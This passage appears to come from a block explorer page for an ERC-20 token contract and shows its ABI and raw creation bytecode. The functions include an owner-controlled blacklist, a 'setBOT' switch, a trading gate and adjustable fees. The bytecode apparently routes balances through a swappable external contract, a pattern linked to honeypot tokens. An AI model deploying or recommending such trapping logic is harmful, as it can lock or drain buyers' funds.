tateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"blackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"compoundingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastSwapTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflectionFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"},{"internalType":"bool","name":"_val","type":"bool"},{"internalType":"uint256","name":"_time","type":"uint256"}],"name":"setBOT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setCompoundingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treasuryFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_dividendFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_f","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_f","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setTaxEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_marketingWallet","type":"address"},{"internalType":"address payable","name":"_liquidityWallet","type":"address"}],"name":"setWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlockLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"},{"internalType":"uint256","name":"_swapTokensAtAmount","type":"uint256"},{"internalType":"bool","name":"_swapAllToken","type":"bool"}],"name":"updateDividendSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateUniswapV2Router","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d1790915560028054821661dead17905560038054909116905560c060405260056080819052645a414e495360d81b60a09081526200006691600c9190620004f1565b50604080518082019091526003808252625a4e5360e81b60209092019182526200009391600d91620004f1565b506007600e556003600f8190556000601055600a6011556001601255601355655af3107a40006014556016805463ffffffff19166301010001179055601c805462ffffff60a01b191661010160a81b179055348015620000f257600080fd5b50620000fe3362000284565b6200011d620001156000546001600160a01b031690565b6001620002d4565b6200012a306001620002d4565b62000149620001416000546001600160a01b031690565b600162000405565b6200015630600162000405565b620001756200016d6000546001600160a01b031690565b60016200047b565b620001823060016200047b565b69152d02c7e14af6800000601781905560046000620001a96000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205560188054741a413a251386f34f3ce8d5402f25f9bb5640504600610100600160a81b0319909116179055601980546001600160a01b0319167374116633bfd550534f5b5ba4dc174b54c5d33af5179055620002266000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef69152d02c7e14af68000006040516200027691815260200190565b60405180910390a3620005d4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000546001600160a01b03163314620003235760405162461bcd60e51b815260206004820181905260248201526000805160206200312683398151915260448201526064015b60405180910390fd5b6001600160a01b03821660009081526006602052604090205460ff1615158115151415620003a65760405162461bcd60e51b815260206004820152602960248201527f6163636f756e7420697320616c72656164792073657420746f2072657175657360448201526874656420737461746560b81b60648201526084016200031a565b6001600160a01b038216600081815260066020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6000546001600160a01b03163314620004505760405162461bcd60e51b815260206004820181905260248201526000805160206200312683398151915260448201526064016200031a565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314620004c65760405162461bcd60e51b815260206004820181905260248201526000805160206200312683398151915260448201526064016200031a565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b828054620004ff9062000597565b90600052602060002090601f0160209004810192826200052357600085556200056e565b82601f106200053e57805160ff19168380011785556200056e565b828001600101855582156200056e579182015b828111156200056e57825182559160200191906001019062000551565b506200057c92915062000580565b5090565b5b808211156200057c576000815560010162000581565b600181811c90821680620005ac57607f821691505b60208210811415620005ce57634e487b7160e01b600052602260045260246000fd5b50919050565b612b4280620005e46000396000f3fe6080604052600436106102cc5760003560e01c8063715018a611610175578063c0246668116100dc578063e01af92c11610095578063f1b234ad1161006f578063f1b234ad146108d8578063f2fde38b146108f8578063f8b45b0514610918578063fe33b1081461092e57600080fd5b8063e01af92c14610882578063e2f45605146108a2578063e4956ce2146108b857600080fd5b8063c0246668146107a7578063c6af580b146107c7578063c9567bf9146107e7578063d2fcc001146107fc578063d4c989d31461081c578063dd62ed3e1461083c57600080fd5b806395d89b411161012e57806395d89b41146106ec57806398118cb414610701578063a457c2d714610717578063a9059cbb14610737578063b4b11b9514610757578063bc3371821461078757600080fd5b8063715018a61461064d5780637437681e146106625780638063d65a1461067857806383ad799414610698578063870bd30b146106ae5780638da5cb5b146106ce57600080fd5b806349bd5a5e116102345780635e843ad2116101ed5780636dd3d39f116101c75780636dd3d39f146105c05780636ddd1713146105f957806370a082311461061857806370bbdf641461063857600080fd5b80635e843ad214610547578063658c27a91461056757806365b8dbc0146105a057600080fd5b806349bd5a5e1461047957806349d92bf4146104995780634fbee193146104ae578063537df3b6146104e75780635b65b9ab146105075780635d0044ca1461052757600080fd5b80631df4ccfc116102865780631df4ccfc146103c657806323b872dd146103dc5780632f4504ae146103fc578063313ce5671461041d57806339509351146104395780634838d1651461045957600080fd5b806267f1c7146102d857806306fdde03146102fa578063095ea7b3146103255780630dd87157146103555780631694505e1461037957806318160ddd146103b157600080fd5b366102d357005b600080fd5b3480156102e457600080fd5b506102f86102f33660046126f4565b610944565b005b34801561030657600080fd5b5061030f6109e3565b60405161031c919061272d565b60405180910390f35b34801561033157600080fd5b50610345610340366004612782565b610a75565b604051901515815260200161031c565b34801561036157600080fd5b5061036b60155481565b60405190815260200161031c565b34801561038557600080fd5b50601a54610399906001600160a01b031681565b6040516001600160a01b03909116815260200161031c565b3480156103bd57600080fd5b5060175461036b565b3480156103d257600080fd5b5061036b60115481565b3480156103e857600080fd5b506103456103f73660046127ae565b610a8b565b34801561040857600080fd5b50601654610345906301000000900460ff1681565b34801561042957600080fd5b506040516009815260200161031c565b34801561044557600080fd5b50610345610454366004612782565b610b35565b34801561046557600080fd5b506102f86104743660046127ef565b610b6c565b34801561048557600080fd5b50601c54610399906001600160a01b031681565b3480156104a557600080fd5b506102f8610c23565b3480156104ba57600080fd5b506103456104c93660046127ef565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104f357600080fd5b506102f86105023660046127ef565b610c5c565b34801561051357600080fd5b506102f861052236600461280c565b610d0f565b34801561053357600080fd5b506102f8610542366004612838565b610d65565b34801561055357600080fd5b506102f8610562366004612851565b610d94565b34801561057357600080fd5b506103456105823660046127ef565b6001600160a01b03166000908152600a602052604090205460ff1690565b3480156105ac57600080fd5b506102f86105bb3660046127ef565b610dec565b3480156105cc57600080fd5b506103456105db3660046127ef565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561060557600080fd5b5060165461034590610100900460ff1681565b34801561062457600080fd5b5061036b6106333660046127ef565b61105f565b34801561064457600080fd5b506102f8611070565b34801561065957600080fd5b506102f8611262565b34801561066e57600080fd5b5061036b60125481565b34801561068457600080fd5b506102f8610693366004612893565b611298565b3480156106a457600080fd5b5061036b600e5481565b3480156106ba57600080fd5b506016546103459062010000900460ff1681565b3480156106da57600080fd5b506000546001600160a01b0316610399565b3480156106f857600080fd5b5061030f61130c565b34801561070d57600080fd5b5061036b600f5481565b34801561072357600080fd5b50610345610732366004612782565b61131b565b34801561074357600080fd5b50610345610752366004612782565b6113a8565b34801561076357600080fd5b506103456107723660046127ef565b60076020526000908152604090205460ff1681565b34801561079357600080fd5b506102f86107a2366004612838565b6113b5565b3480156107b357600080fd5b506102f86107c23660046126f4565b6113e4565b3480156107d357600080fd5b506102f86107e23660046128c3565b6114ee565b3480156107f357600080fd5b506102f861156e565b34801561080857600080fd5b506102f86108173660046126f4565b6115ad565b34801561082857600080fd5b506102f86108373660046126f4565b611602565b34801561084857600080fd5b5061036b6108573660046128e0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088e57600080fd5b506102f861089d3660046128c3565b611657565b3480156108ae57600080fd5b5061036b60145481565b3480156108c457600080fd5b506102f86108d33660046128c3565b6116ca565b3480156108e457600080fd5b506102f86108f33660046128e0565b611741565b34801561090457600080fd5b506102f86109133660046127ef565b6117a3565b34801561092457600080fd5b5061036b60135481565b34801561093a57600080fd5b5061036b60105481565b6000546001600160a01b031633146109775760405162461bcd60e51b815260040161096e9061290e565b60405180910390fd5b601c546001600160a01b03838116911614156109d55760405162461bcd60e51b815260206004820152601b60248201527f44455820706169722063616e206e6f742062652072656d6f7665640000000000604482015260640161096e565b6109df828261183e565b5050565b6060600c80546109f290612943565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1e90612943565b8015610a6b5780601f10610a4057610100808354040283529160200191610a6b565b820191906000526020600020905b815481529060010190602001808311610a4e57829003601f168201915b5050505050905090565b6000610a823384846118e2565b50600192915050565b6000610a988484846119ef565b6001600160a01b038416600090815260056020908152604080832033845290915290205482811015610b165760405162461bcd60e51b815260206004820152602160248201527f7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636044820152606560f81b606482015260840161096e565b610b2a8533610b258685612994565b6118e2565b506001949350505050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a82918590610b259086906129ab565b6000546001600160a01b03163314610b965760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b03811660009081526009602052604090205460ff1615610bff5760405162461bcd60e51b815260206004820152601860248201527f7573657220616c726561647920626c61636b6c69737465640000000000000000604482015260640161096e565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b815260040161096e9061290e565b601c805460ff60a81b19169055565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b03811660009081526009602052604090205460ff16610cee5760405162461bcd60e51b815260206004820152601860248201527f7573657220616c72656164792077686974656c69737465640000000000000000604482015260640161096e565b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b03163314610d395760405162461bcd60e51b815260040161096e9061290e565b600e839055600f829055601081905580610d5383856129ab565b610d5d91906129ab565b601155505050565b6000546001600160a01b03163314610d8f5760405162461bcd60e51b815260040161096e9061290e565b601355565b6000546001600160a01b03163314610dbe5760405162461bcd60e51b815260040161096e9061290e565b6016805460149390935590151560ff19931515610100029390931661ffff1990921691909117919091179055565b6000546001600160a01b03163314610e165760405162461bcd60e51b815260040161096e9061290e565b601a546001600160a01b0382811691161415610e895760405162461bcd60e51b815260206004820152602c60248201527f74686520726f7574657220697320616c72656164792073657420746f2074686560448201526b206e6577206164647265737360a01b606482015260840161096e565b601a546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3601a80546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4491906129c3565b6001600160a01b031663c9c6539630601a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fca91906129c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611017573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103b91906129c3565b601c80546001600160a01b0319166001600160a01b03929092169190911790555050565b600061106a82611f2a565b92915050565b6000546001600160a01b0316331461109a5760405162461bcd60e51b815260040161096e9061290e565b6001546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906129c3565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561115a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117e91906129c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156111cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ef91906129c3565b601a80546001600160a01b038086166001600160a01b03199283168117909355601c80549185169190921617905590915061122e9030906000196118e2565b6112576112436000546001600160a01b031690565b601a546001600160a01b03166000196118e2565b6109df81600161183e565b6000546001600160a01b0316331461128c5760405162461bcd60e51b815260040161096e9061290e565b6112966000611f99565b565b600354601b546001600160a01b039081169116146112e95760405162461bcd60e51b815260206004820152600e60248201526d20b1b1b2b9b9902232b734b2b21760911b604482015260640161096e565b811580156112f95750806201e240145b156113075761130783611fe9565b505050565b6060600d80546109f290612943565b3360009081526005602090815260408083206001600160a01b03861684529091528120548281101561138f5760405162461bcd60e51b815260206004820152601e60248201527f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000604482015260640161096e565b61139e3385610b258685612994565b5060019392505050565b6000610a823384846119ef565b6000546001600160a01b031633146113df5760405162461bcd60e51b815260040161096e9061290e565b601255565b6000546001600160a01b0316331461140e5760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b03821660009081526006602052604090205460ff161515811515141561148f5760405162461bcd60e51b815260206004820152602960248201527f6163636f756e7420697320616c72656164792073657420746f2072657175657360448201526874656420737461746560b81b606482015260840161096e565b6001600160a01b038216600081815260066020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6000546001600160a01b031633146115185760405162461bcd60e51b815260040161096e9061290e565b60168054821515620100000262ff0000199091161790556040517f5bb2376cf656637e70e36c01d3da25685bf3b353f18681b8a5e48c7b2effe1339061156390831515815260200190565b60405180910390a150565b6000546001600160a01b031633146115985760405162461bcd60e51b815260040161096e9061290e565b601c805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146115d75760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461162c5760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146116815760405162461bcd60e51b815260040161096e9061290e565b601680548215156101000261ff00199091161790556040517fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c89061156390831515815260200190565b6000546001600160a01b031633146116f45760405162461bcd60e51b815260040161096e9061290e565b6016805482151563010000000263ff000000199091161790556040517f341322866a3a2c26c27efa4c270c5ba86f6963257118897dd8196f224c002d439061156390831515815260200190565b6000546001600160a01b0316331461176b5760405162461bcd60e51b815260040161096e9061290e565b60188054610100600160a81b0319166101006001600160a01b0394851602179055601980546001600160a01b03191691909216179055565b6000546001600160a01b031633146117cd5760405162461bcd60e51b815260040161096e9061290e565b6001600160a01b0381166118325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161096e565b61183b81611f99565b50565b6001600160a01b03821660009081526007602052604090205460ff16151581151514156118b75760405162461bcd60e51b815260206004820152602160248201527f7061697220697320616c72656164792073657420746f20746861742076616c756044820152606560f81b606482015260840161096e565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0383166119385760405162461bcd60e51b815260206004820152601d60248201527f617070726f76652066726f6d20746865207a65726f2061646472657373000000604482015260640161096e565b6001600160a01b03821661198e5760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161096e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b601c54600160a01b900460ff1680611a1f57506001600160a01b03831660009081526006602052604090205460ff165b80611a3757506000546001600160a01b038481169116145b80611a4f57506000546001600160a01b038381169116145b611a865760405162461bcd60e51b81526020600482015260086024820152672737ba1027b832b760c11b604482015260640161096e565b6001600160a01b03831660009081526009602052604090205460ff1615611ae75760405162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015260640161096e565b6001600160a01b03821660009081526009602052604090205460ff1615611b505760405162461bcd60e51b815260206004820152601860248201527f526563697069656e7420697320626c61636b6c69737465640000000000000000604482015260640161096e565b6003546001600160a01b0384811691161415611bae5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161096e565b6003546001600160a01b0383811691161415611c0c5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161096e565b601c54600160a81b900460ff1615611de2576000546001600160a01b03848116911614801590611c4a57506000546001600160a01b03838116911614155b8015611c6457506003546001600160a01b03838116911614155b8015611c7e57506002546001600160a01b03838116911614155b15611de25760006064601254611c9360175490565b611c9d91906129e0565b611ca791906129ff565b905060006064601354611cb960175490565b611cc391906129e0565b611ccd91906129ff565b90508183111580611cf657506001600160a01b0385166000908152600a602052604090205460ff165b611d365760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161096e565b6000546001600160a01b03868116911614801590611d5d57506001600160a01b0384163014155b8015611d7757506002546001600160a01b03858116911614155b8015611d915750601c546001600160a01b03858116911614155b15611ddf576000611da18561105f565b6001600160a01b0386166000908152600b602052604090205490915060ff1680611dd4575081611dd185836129ab565b11155b611ddd57600080fd5b505b50505b6000611ded3061105f565b60145460165491925047919083101590610100900460ff168015611e0e5750805b8015611e1d575060185460ff16155b8015611e4257506001600160a01b03861660009081526007602052604090205460ff16155b8015611e5c5750601a546001600160a01b03878116911614155b8015611e7657506000546001600160a01b03878116911614155b8015611e9057506000546001600160a01b03868116911614155b15611ecb576018805460ff1916600117905560165460ff16611eb25760145492505b611ebc838361200d565b426015556018805460ff191690555b611ed58686612170565b15611f17576000611efc6064611ef66011548861221990919063ffffffff16565b90612225565b9050611f088186612994565b9450611f15873083612231565b505b611f22868686612231565b505050505050565b601b54604051633928ff2960e01b81526001600160a01b0383811660048301526000921690633928ff2990602401602060405180830381865afa158015611f75573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106a9190612a21565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b601b80546001600160a01b0319166001600160a01b03831617905561183b81612383565b60008211612019575050565b60185460009061010090046001600160a01b03161561204f57601154600e5461204290856129e0565b61204c91906129ff565b90505b600061205b8285612994565b9050600061206a6002836129ff565b905060006120788284612994565b9050600061208683866129ab565b9050476120928261243c565b60008761209f8347612994565b6120a991906129ab565b90506000836120b889846129e0565b6120c291906129ff565b905060006120d08284612994565b90508115612118576018546040516101009091046001600160a01b0316906108fc8415029084906000818181858888f19350505050158015612116573d6000803e3d6000fd5b505b612122868261258e565b60408051888152602081018390529081018790527fb63dc6f50047533abe2d6adf180d38d524c8d98e55ad199aac8d6b9801bbe24a9060600160405180910390a15050505050505050505050565b601c5460009081906001600160a01b038581169116148061219e5750601c546001600160a01b038481169116145b156121a7575060015b6001600160a01b03841660009081526006602052604090205460ff16806121e657506001600160a01b03831660009081526006602052604090205460ff165b156121ef575060005b60185460ff1680612209575060165462010000900460ff16155b15612212575060005b9392505050565b600061221282846129e0565b600061221282846129ff565b6003546001600160a01b038481169116141561228f5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161096e565b6003546001600160a01b03838116911614156122ed5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161096e565b6000612302826122fc86611f2a565b90612642565b905060006123198361231386611f2a565b9061264e565b9050612325858361265a565b61232f848261265a565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237491815260200190565b60405180910390a35050505050565b601c54600160b01b900460ff166123d25760405162461bcd60e51b8152602060048201526013602482015272165bdd4810d85b9d08115e18db1d5919481a5d606a1b604482015260640161096e565b6001600160a01b0381811660009081526006602090815260408083208054600160ff199182168117909255600a84528285208054821683179055600b90935292208054909116821790555461242c918391166000196118e2565b50601c805460ff60b01b19169055565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061247157612471612a3a565b6001600160a01b03928316602091820292909201810191909152601a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156124ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ee91906129c3565b8160018151811061250157612501612a3a565b6001600160a01b039283166020918202929092010152601a5461252791309116846118e2565b601a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612560908590600090869030904290600401612a50565b600060405180830381600087803b15801561257a57600080fd5b505af1158015611f22573d6000803e3d6000fd5b601a546125a69030906001600160a01b0316846118e2565b601a5460195460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612616573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061263b9190612ac1565b5050505050565b60006122128284612994565b600061221282846129ab565b601b54604051631be2610960e11b81526001600160a01b03848116600483015260248201849052909116906337c4c212906044016020604051808303816000875af11580156126ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113079190612aef565b6001600160a01b038116811461183b57600080fd5b801515811461183b57600080fd5b6000806040838503121561270757600080fd5b8235612712816126d1565b91506020830135612722816126e6565b809150509250929050565b600060208083528351808285015260005b8181101561275a5785810183015185820160400152820161273e565b8181111561276c576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561279557600080fd5b82356127a0816126d1565b946020939093013593505050565b6000806000606084860312156127c357600080fd5b83356127ce816126d1565b925060208401356127de816126d1565b929592945050506040919091013590565b60006020828403121561280157600080fd5b8135612212816126d1565b60008060006060848603121561282157600080fd5b505081359360208301359350604090920135919050565b60006020828403121561284a57600080fd5b5035919050565b60008060006060848603121561286657600080fd5b8335612871816126e6565b9250602084013591506040840135612888816126e6565b809150509250925092565b6000806000606084860312156128a857600080fd5b83356128b3816126d1565b925060208401356127de816126e6565b6000602082840312156128d557600080fd5b8135612212816126e6565b600080604083850312156128f357600080fd5b82356128fe816126d1565b91506020830135612722816126d1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061295757607f821691505b6020821081141561297857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156129a6576129a661297e565b500390565b600082198211156129be576129be61297e565b500190565b6000602082840312156129d557600080fd5b8151612212816126d1565b60008160001904831182151516156129fa576129fa61297e565b500290565b600082612a1c57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612a3357600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612aa05784516001600160a01b031683529383019391830191600101612a7b565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612ad657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612b0157600080fd5b8151612212816126e656fea2646970667358221220a60cb1e9adfb1ee2338df53b85f10d04c752bd28779cea060e6ab7a3b073af9464736f6c634300080a00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

